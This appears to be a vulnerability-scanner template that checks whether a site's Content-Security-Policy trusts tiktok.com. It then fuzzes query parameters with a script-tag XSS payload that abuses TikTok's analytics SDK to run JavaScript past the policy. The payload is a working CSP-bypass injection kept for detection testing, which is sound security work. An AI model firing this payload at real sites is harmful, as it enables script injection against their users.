id: tiktok-analytics-csp-bypass

info:
  name: Content-Security-Policy Bypass - TikTok Analytics
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,tiktok-analytics

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "tiktok.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: tiktok_analytics_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://analytics.tiktok.com/i18n/pixel/sdk.js?sdkid=%22-alert`1`-%22"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "tiktok_analytics_csp_xss == true"
# digest: 4a0a00473045022100a1e41004e72acd2690417b7a1395ba6b27a5baa0b98346ff0c812e34c82da844022066d6b1a773449239f7fb4021ad8b9f5cbc798f3591824fdba5bd5caca44c3654:922c64590222798bb761d5b6d8e72950